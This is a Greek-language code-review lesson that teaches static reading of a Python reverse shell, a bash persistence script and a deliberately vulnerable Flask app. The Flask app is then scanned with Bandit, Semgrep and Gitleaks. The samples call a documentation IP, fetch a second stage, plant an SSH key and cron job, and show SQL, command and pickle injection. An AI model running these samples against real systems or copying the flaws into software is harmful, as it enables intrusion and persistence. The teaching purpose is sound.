Ανάλυση επιθετικού κώδικα — Καθοδηγούμενη επίδειξη
Τρία αντικείμενα, μηδέν εκτέλεση payload. Πρώτα ένα reverse shell σε Python, διαβασμένο γραμμή προς γραμμή. Έπειτα ένα script bash αυτοματοποίησης που διατηρείται. Τέλος, μια μικρή εφαρμογή Flask περασμένη από τα Semgrep, Bandit και Gitleaks, με την έξοδο που πρέπει να ξέρετε να διαβάζετε.
Τα αποσπάσματα Python και bash παρακάτω είναι αντικείμενα μελέτης. Τα ανοίγετε στον
επεξεργαστή. Δεν τα ερμηνεύετε, δεν κάνετε curl | bash, δεν ανοίγετε listener «για να
επαληθεύσετε». Η εφαρμογή Flask, αυτή, είναι ένα τοπικό lab: εκεί εκτελούμε τους αναλυτές,
όχι payloads εναντίον τρίτου.
Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα
- Να σχολιάζετε ένα reverse shell και ένα script επιμονής χωρίς να τα εκτελείτε.
- Να αποκωδικοποιείτε μια συμβολοσειρά base64 σε ένα σημειωματάριο, και έπειτα να την καταχωρείτε στο μοντέλο απειλής.
- Να εγκαθιστάτε και να εκτελείτε τα
bandit,semgrepκαιgitleaksσε ένα τοπικό αποθετήριο. - Να διακρίνετε, στην έξοδο, ένα μυστικό παραδείγματος, μια πραγματική primitive, και έναν θόρυβο.
- Να συντάσσετε ένα εύρημα από μία γραμμή και ένα αναγνωριστικό εργαλείου.
Βήμα 0 — Ο φάκελος εργασίας
Όλα γίνονται σε έναν κατάλογο που δημιουργείτε εσείς. Δεν απαιτείται κανένα clone δημόσιου exploit: αντιγράφουμε τα παιδαγωγικά αποσπάσματα με το χέρι, κάτι που αποφεύγει την εισαγωγή ενός κρυμμένου δεύτερου σταδίου μέσα σε ένα zip.
mkdir -p ~/analyse-code/{lectures,flask-mini,sorties}
cd ~/analyse-code
Ελέγξτε τα εργαλεία. Σε Kali ή μέσα σε ένα venv Python:
python3 -m pip install --user bandit semgrep
# gitleaks : δυαδικό από τα επίσημα releases, ή πακέτο Kali
gitleaks version
bandit --version
semgrep --version
Αναμενόμενη έξοδος (οι αριθμοί έκδοσης διαφέρουν):
gitleaks version 8.18.x
bandit 1.7.x
semgrep, version 1.8x.x
Αν λείπει το gitleaks, το εργαστήριο δέχεται το ίδιο κυνήγι μυστικών με το Semgrep
p/secrets. Μην αντικαταστήσετε ένα εργαλείο που λείπει με «εκτελώ το script για να δω».
Βήμα 1 — Reverse shell σε Python, γραμμή προς γραμμή
Δημιουργήστε το lectures/reverse_doc.py αντιγράφοντας ακριβώς το εξής. Η IP είναι μια
διεύθυνση τεκμηρίωσης (RFC 5737).
# ΝΑ ΜΗΝ ΕΚΤΕΛΕΣΤΕΙ — παιδαγωγικό δείγμα του μαθήματος.
import socket
import subprocess
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("203.0.113.7", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
Ανοίξτε το. Απαγορεύεται το python3 lectures/reverse_doc.py.
nl -ba lectures/reverse_doc.py
Σχολιασμένη ανάγνωση
Γραμμές 2 έως 4 — imports. Τρία modules, τρεις ρόλοι. socket: δίκτυο. subprocess:
θυγατρική διεργασία. os: descriptors αρχείων. Ήδη από τα imports, το script έχει όλα όσα
χρειάζεται για ένα reverse shell. Καμία βιβλιοθήκη exploit, κανένα CVE στο όνομα: ο κίνδυνος
βρίσκεται στη σύνθεση.
Γραμμή 6 — socket.socket. Οικογένεια AF_INET (IPv4), τύπος SOCK_STREAM (TCP). Δεν είναι
ακρόαση (bind / listen). Είναι ένας client. Η κατεύθυνση της κίνησης θα είναι εξερχόμενη.
Γραμμή 7 — connect. Πλειάδα κωδικοποιημένη εκ των προτέρων: 203.0.113.7 θύρα 4444.
Χωρίς DNS, χωρίς TLS, χωρίς ρύθμιση. Σε ένα πραγματικό δημόσιο δείγμα, αντικαταστήστε αυτή την
IP με αυτή που εσείς διαβάζετε, και έπειτα whois / ταξινόμηση (τεκμηρίωση, RFC 1918, VPS,
οικιακή). Εδώ, ξέρουμε ήδη: παραδειγματικό εύρος, θύρα ιστορικά συνδεδεμένη με τα shells.
Γραμμές 8 έως 10 — os.dup2. Ο descriptor του socket αντικαθιστά το stdin (0), το stdout
(1), το stderr (2). Ό,τι θα διαβάσει ή θα γράψει το shell θα περάσει μέσα από τη σύνδεση. Αυτή
είναι η στατική υπογραφή ενός reverse shell Unix. Ένα grep dup2 σε ένα αποθετήριο συχνά
αρκεί για να το βρείτε.
Γραμμή 11 — subprocess.call(["/bin/sh", "-i"]). Λίστα ορισμάτων, όχι shell=True. Ο
κίνδυνος δεν είναι μια injection: είναι η πρόθεση. Το -i επιβάλλει ένα διαδραστικό shell.
Κανένα crontab, καμία εγγραφή αρχείου: καμία επιμονή.
Δελτίο ανάγνωσης (να αντιγραφεί στο lectures/fiche-reverse.md)
# Δελτίο — reverse_doc.py
- Τύπος : reverse shell TCP client
- Απαιτούμενο προνόμιο : δυνατότητα εκτέλεσης Python (τοπικός λογαριασμός)
- Δικτυακή προϋπόθεση : έξοδος TCP προς 203.0.113.7:4444
- Payload : διαδραστικό /bin/sh, I/O μέσω του socket
- Επιμονή : καμία
- Συγκάλυψη : καμία
- Απόφαση : ΝΑ ΜΗΝ ΕΚΤΕΛΕΣΤΕΙ
- Εντοπισμός : ειδοποίηση εξόδου 4444 · κανόνας Semgrep / grep σε dup2 + connect
Σε τέσσερα λεπτά, το μοντέλο απειλής είναι γραμμένο. Αυτό είναι όλο όσο ζητούσε το μάθημα εννοιών. Προχωράμε σε ένα script που, αυτό, διατηρείται.
Βήμα 2 — Script bash αυτοματοποίησης
Πολλά δείγματα «διαχείρισης» είναι πιο επικίνδυνα από το reverse shell: προσποιούνται ότι είναι
μια ενημέρωση. Δημιουργήστε το lectures/maj_parc.sh:
#!/usr/bin/env bash
# ΝΑ ΜΗΝ ΕΚΤΕΛΕΣΤΕΙ — παιδαγωγικό δείγμα.
set -euo pipefail
URL='aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo'
CLE='c3NoLWVkMjU1MTkgQUFBQUFBR0NycEpYa0lBQUFFZ0FBQUFJQUFBQUFnQUFBUUVkdWMtY291cnMtcGVkYWdvZ2ll'
curl -fsSL "$(printf '%s' "$URL" | base64 -d)" -o /tmp/.maj.sh
chmod 755 /tmp/.maj.sh
mkdir -p "${HOME}/.ssh"
printf '%s\n' "$(printf '%s' "$CLE" | base64 -d)" >> "${HOME}/.ssh/authorized_keys"
chmod 600 "${HOME}/.ssh/authorized_keys"
(crontab -l 2>/dev/null | grep -v '.maj.sh' ; echo '@reboot /tmp/.maj.sh') | crontab -
Πρώτα η σάρωση
grep -nE 'curl|base64|authorized_keys|crontab|chmod|/tmp/' lectures/maj_parc.sh
Έξοδος:
5:URL='aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo'
6:CLE='c3NoLWVkMjU1MTkgQUFBQUFBR0NycEpYa0lBQUFFZ0FBQUFJQUFBQUFnQUFBUUVkdWMtY291cnMtcGVkYWdvZ2ll'
8:curl -fsSL "$(printf '%s' "$URL" | base64 -d)" -o /tmp/.maj.sh
9:chmod 755 /tmp/.maj.sh
11:mkdir -p "${HOME}/.ssh"
12:printf '%s\n' "$(printf '%s' "$CLE" | base64 -d)" >> "${HOME}/.ssh/authorized_keys"
13:chmod 600 "${HOME}/.ssh/authorized_keys"
15:(crontab -l 2>/dev/null | grep -v '.maj.sh' ; echo '@reboot /tmp/.maj.sh') | crontab -
Τέσσερα σήματα του μαθήματος, σε ένα μόνο αρχείο: κωδικοποιημένο URL, εγγραφή
authorized_keys, κρυμμένο αρχείο στο /tmp, crontab @reboot.
Αποκωδικοποίηση, όχι λήψη
printf '%s' 'aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo' | base64 -d
echo
printf '%s' 'c3NoLWVkMjU1MTkgQUFBQUFBR0NycEpYa0lBQUFFZ0FBQUFJQUFBQUFnQUFBUUVkdWMtY291cnMtcGVkYWdvZ2ll' | base64 -d
echo
Αναμενόμενη έξοδος:
https://203.0.113.7/outils/maj.sh
ssh-ed25519 AAAAAAGCrpJXkIAAAEgAAAAIAAAAAgAAAQEduc-cours-pedagogie
Το κλειδί είναι ένα δόλωμα του μαθήματος (δεν ανοίγει τίποτα). Σε ένα πραγματικό δείγμα, θα
σημειώνατε το αποτύπωμα και το σχόλιο· δεν θα το προσθέτατε στο δικό σας authorized_keys
«για να δοκιμάσετε».
Ανάγνωση:
| Μπλοκ | Πρόθεση | Επιμονή |
|---|---|---|
curl προς το αποκωδικοποιημένο URL | Κατεβάζει ένα δεύτερο στάδιο στο /tmp/.maj.sh | Το αρχείο επιβιώνει μέχρι τον καθαρισμό |
>> authorized_keys | Προσθέτει ένα κλειδί SSH του συντάκτη του script | Login όσο το κλειδί παραμένει |
crontab @reboot | Επανεκκινεί το δεύτερο στάδιο στην εκκίνηση | Επιβιώνει της επανεκκίνησης |
Το reverse shell του βήματος 1 ήταν θορυβώδες και εφήμερο. Αυτό εδώ είναι ήσυχο και διαρκές. Σε μια αναφορά, δεν είναι ένα μόνο εύρημα: είναι συχνά τρία (μη ελεγχόμενη λήψη, επιμονή SSH, επιμονή cron), επειδή ο πελάτης τα αφαιρεί ξεχωριστά.
set -euo pipefail δεν είναι πιστοποιητικό ηθικήςΈνα φροντισμένο script (αυστηρές επιλογές bash, chmod 600) μπορεί να είναι μια κερκόπορτα. Η
υγιεινή της μορφής καθησυχάζει το μάτι· δεν λέει τίποτα για την πρόθεση. Κρίνετε τις
εγγραφές και τους προορισμούς, όχι το ύφος.
Βήμα 3 — Μίνι εφαρμογή Flask προς σάρωση
Αλλάζουμε αντικείμενο: όχι πια ένα exploit, μια εφαρμογή. Δημιουργήστε το flask-mini/app.py.
Αυτό το αρχείο είναι σκόπιμα αδύναμο. Δεν προορίζεται να εξυπηρετηθεί στο δίκτυο.
# Τοπικό εργαστήριο — να μην αναπτυχθεί σε παραγωγή.
import os
import pickle
import hashlib
import sqlite3
from flask import Flask, request
app = Flask(__name__)
AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE"
AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
DB_PASSWORD = "SuperSecret123!"
@app.route("/user")
def user():
user_id = request.args.get("id", "1")
conn = sqlite3.connect("app.db")
cur = conn.cursor()
cur.execute("SELECT * FROM users WHERE id = %s" % user_id)
return str(cur.fetchone())
@app.route("/ping")
def ping():
host = request.args.get("host", "127.0.0.1")
os.system("ping -c 1 " + host)
return "ok"
@app.route("/load", methods=["POST"])
def load():
return str(pickle.loads(request.data))
@app.route("/hello")
def hello():
name = request.args.get("name", "monde")
return "<h1>Bonjour %s</h1>" % name
@app.route("/login", methods=["POST"])
def login():
password = request.form.get("password", "")
return hashlib.md5(password.encode()).hexdigest()
Τρεις οικογένειες σε μία οθόνη: μυστικό κωδικοποιημένο εκ των προτέρων, injection (SQL,
εντολή, XSS), επικίνδυνο API (pickle, MD5). Αρκεί για να ασκήσουμε τα τρία εργαλεία. Το
εργαστήριο θα επεκτείνει το αποθετήριο· εδώ μαθαίνουμε να διαβάζουμε την έξοδο.
Βήμα 4 — Bandit (μόνο Python)
cd ~/analyse-code/flask-mini
bandit -r . -f txt | tee ../sorties/bandit.txt
Αναμενόμενη έξοδος (αποσπάσματα, η σειρά μπορεί να διαφέρει):
Run started...
Test results:
>> Issue: [B105:hardcoded_password_string]
Possible hardcoded password: 'SuperSecret123!'
Severity: Low Confidence: Medium
Location: ./app.py:12
>> Issue: [B608:hardcoded_sql_expressions]
Possible SQL injection vector through string-based query construction.
Severity: Medium Confidence: Medium
Location: ./app.py:19
>> Issue: [B605:start_process_with_a_shell]
Starting a process with a shell, possible injection.
Severity: High Confidence: High
Location: ./app.py:25
>> Issue: [B301:pickle]
Pickle library appears to be in use, possible security issue.
Severity: Medium Confidence: High
Location: ./app.py:30
>> Issue: [B324:hashlib]
Use of weak MD5 hash for security. Consider usedforsecurity=False
Severity: High Confidence: High
Location: ./app.py:40
Code scanned:
Total lines of code: 35
Total lines skipped (#nosec): 0
Finding severity distribution:
High: 2
Medium: 2
Low: 1
Πώς το διαβάζουμε αυτό.
- B605 και B301: primitives. Ανοίγετε τις γραμμές 25 και 30, επιβεβαιώνετε ένα
συνενωμένο
os.systemκαι έναpickle.loadsπάνω στοrequest.data. Αυτά είναι ευρήματα υψηλά, προϋπόθεση = να προσεγγίσετε τη διαδρομή. - B608: υποψήφιο SQLi. Το Bandit είδε το
%/ formatting. Επιβεβαιώνετε ότι τοuser_idπροέρχεται από τοrequest.args— άρα εισερχόμενο. - B324: MD5 σε κωδικό πρόσβασης. Όχι RCE. Επίπτωση: αδύναμη αποθήκευση / σύγκριση. Σοβαρότητα εργαλείου ≠ επιχειρησιακή σοβαρότητα: ξαναγράφετε τη σοβαρότητα στο εύρημα (συχνά μεσαία, υψηλή αν είναι το hash της παραγωγής).
- B105:
SuperSecret123!. Πραγματικό μυστικό του lab. Το Bandit δεν λέει τίποτα για τα κλειδιάAKIA...: δεν είναι δική του δουλειά. Εξ ου και το Gitleaks στο βήμα 6. - Το Bandit δεν μιλά για το XSS στη γραμμή 35: δεν υπάρχει αρκετά αξιόπιστος γενικός κανόνας Python. Εξ ου και το Semgrep.
Οι κωδικοί Bandit (B301, B608) αναφέρονται στην αναφορά. Επιτρέπουν στον πελάτη να επανεκτελέσει
τον ίδιο κανόνα μετά τη διόρθωση. Ένα «το Bandit βρήκε κάτι» δεν είναι απόδειξη.
Βήμα 5 — Semgrep (κανόνες Flask, Python, secrets)
semgrep --config p/python --config p/flask --config p/secrets \
--quiet --text app.py | tee ../sorties/semgrep.txt
Πρώτη εκτέλεση: το Semgrep κατεβάζει τα σύνολα κανόνων. Έπειτα, τυπικά αποσπάσματα:
app.py
19┆ cur.execute("SELECT * FROM users WHERE id = %s" % user_id)
python.flask.security.injection.tainted-sql-string
User-controlled data is used to craft an SQL query.
25┆ os.system("ping -c 1 " + host)
python.flask.security.injection.tainted-os-command
User data flows into a system command.
30┆ return str(pickle.loads(request.data))
python.lang.security.deserialization.pickle.avoid-pickle
Avoid using pickle, which can lead to code execution.
10┆ AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE"
generic.secrets.security.detected-aws-access-key-id-value
Παράλληλη ανάγνωση με το Bandit. Το Semgrep επικαλύπτει το SQLi, την εντολή, το pickle.
Προσθέτει το κλειδί AWS και, ανάλογα με τους παρόντες κανόνες, το XSS (render / απάντηση
HTML παρεμβαλλόμενη). Όταν δύο εργαλεία αναφέρουν την ίδια γραμμή, η απόδειξη είναι πιο στέρεη.
Όταν μιλά μόνο ένα, ανοίγετε ούτως ή άλλως τη γραμμή: είναι το αντανακλαστικό του μαθήματος
εννοιών.
Αν το p/flask δεν είναι διαθέσιμο εκτός σύνδεσης, μεταβείτε σε:
semgrep --config auto --quiet --text app.py
Το --config auto στέλνει αποσπάσματα διαδρομών στην υπηρεσία Semgrep για να επιλέξει τους
κανόνες. Σε ανάθεση, προτιμήστε τοπικές ρυθμίσεις (p/python ήδη κατεβασμένο, ή έναν φάκελο
rules/). Σημειώστε την επιλογή στην αναφορά: ένας πελάτης μπορεί να απαγορεύει την τηλεμετρία.
Βήμα 6 — Gitleaks (μυστικά, όχι primitives)
Το Gitleaks δεν χρειάζεται ο φάκελος να είναι αποθετήριο Git αν περάσετε το --no-git:
gitleaks detect --source . --no-git -v --report-path ../sorties/gitleaks.json
Αναμενόμενη έξοδος (αποσπάσματα):
Finding: AWS Access Key
Secret: AKIA****************
File: app.py
Line: 10
RuleID: aws-access-key
Finding: Generic API Key / password
Secret: Supe****************
File: app.py
Line: 12
RuleID: generic-api-key
Υποχρεωτικός χαρακτηρισμός. Τα AKIAIOSFODNN7EXAMPLE και wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
είναι τα επίσημα παραδείγματα της τεκμηρίωσης της AWS. Σε αυτό το lab, τα ταξινομείτε
«μυστικό παραδείγματος — να αφαιρεθεί ούτως ή άλλως, το μοτίβο είναι το σωστό». Σε ένα αποθετήριο
πελάτη, η ίδια μορφή AKIA ακολουθούμενη από 16 μη τεκμηριωμένους χαρακτήρες είναι διαρροή μέχρι
απόδειξη ανάκλησης.
Το Gitleaks δεν θα πει τίποτα για το pickle ούτε για το os.system. Ένας έλεγχος «μόνο
Gitleaks» είναι έλεγχος διαρροών, όχι έλεγχος κώδικα.
Βήμα 7 — Ένα εύρημα, για να εδραιωθεί η κίνηση
Ανοίξτε το sorties/constat-A01.md και συντάξτε ένα εύρημα από τη γραμμή pickle — την πιο
καθαρή.
# A-01 — Αποσειριοποίηση pickle σε διαδρομή HTTP
- **Στόχος** : `flask-mini/app.py`, συνάρτηση `load`, διαδρομή `POST /load`
- **Εργαλεία** : Bandit B301, Semgrep `python.lang.security.deserialization.pickle.avoid-pickle`
- **Απόδειξη** :
```python
return str(pickle.loads(request.data))
```
- **Προϋπόθεση** : δυνατότητα προσέγγισης του `POST /load` (εδώ: ανώνυμα)
- **Επίπτωση** : εκτέλεση κώδικα κατά τη φόρτωση ενός αντικειμένου pickle ελεγχόμενου από τον
πελάτη HTTP
- **Αποκατάσταση** : διαγραφή της διαδρομής, ή αποδοχή μόνο ασφαλούς μορφής (`json.loads` σε
περιορισμένο σχήμα)
- **Επανεπαλήθευση** : το `bandit -r .` δεν πρέπει πλέον να αναφέρει το B301 σε αυτό το αρχείο
Δεν στείλατε κακόβουλο pickle. Η απόδειξη είναι η γραμμή. Είναι ακριβώς αυτό που περιμένει το module αναφοράς από μια επιθεώρηση κώδικα.
Βήμα 8 — Εκεί όπου η ανάγνωση παρεκκλίνει
Τρία λάθη, που εμφανίζονται σε κάθε συνεδρία.
Να εκτελέσετε «απλώς το Flask». Το flask run πάνω στο app.py εκθέτει τις διαδρομές.
Για αυτήν την επίδειξη, δεν είναι απαραίτητο: οι αναλυτές διαβάζουν τον δίσκο. Αν το εξυπηρετήσετε,
κρατήστε το στο 127.0.0.1 και μην στέλνετε payloads. Το εργαστήριο επιτρέπει την
επανασάρωση μετά τη διόρθωση, όχι το fuzzing.
Να εμπιστευτείτε μόνο τη σύνοψη του Bandit. «High: 2» δεν είναι αναφορά. Το XSS απουσιάζει, το κλειδί AWS επίσης. Η σύνοψη χρησιμεύει για να ιεραρχήσετε το άνοιγμα των αρχείων.
Να αποκωδικοποιήσετε το base64 και έπειτα να το κάνετε pipe.
# Απαγορεύεται: αυτό κατεβάζει και εκτελεί το δεύτερο στάδιο
# printf '%s' "$URL" | base64 -d | xargs curl | bash
Η αποκωδικοποίηση σταματά στο κείμενο. Το δελτίο ανάγνωσης δέχεται το URL. Τίποτα άλλο.
Απολογισμός
Σε μία συνεδρία, χωρίς να εκτελέσετε κανένα payload:
- Το reverse shell είναι ένας client TCP +
dup2+/bin/sh. Εφήμερο, ευανάγνωστο, ήδη ένα εύρημα αν βρεθεί σε εσωτερικό αποθετήριο. - Το script bash είναι μια τριπλή επιμονή (λήψη, SSH, cron) κρυμμένη πίσω από δύο συμβολοσειρές base64.
- Το Bandit μιλά Python. Το Semgrep επικαλύπτει και προσθέτει Flask / secrets. Το Gitleaks μιλά μόνο για τα μυστικά. Τα τρία συμπληρώνονται.
- Ένα εύρημα χωράει σε μία γραμμή κώδικα, δύο αναγνωριστικά εργαλείων, μία επίπτωση, μία διόρθωση, ένα κριτήριο επανασάρωσης.
Επόμενο μάθημα: σειρά σας. Χτίζετε ένα πληρέστερο αποθετήριο Flask, εκτελείτε τα τρία εργαλεία, παραδίδετε πέντε ή έξι ευρήματα, διορθώνετε, επανασαρώνετε.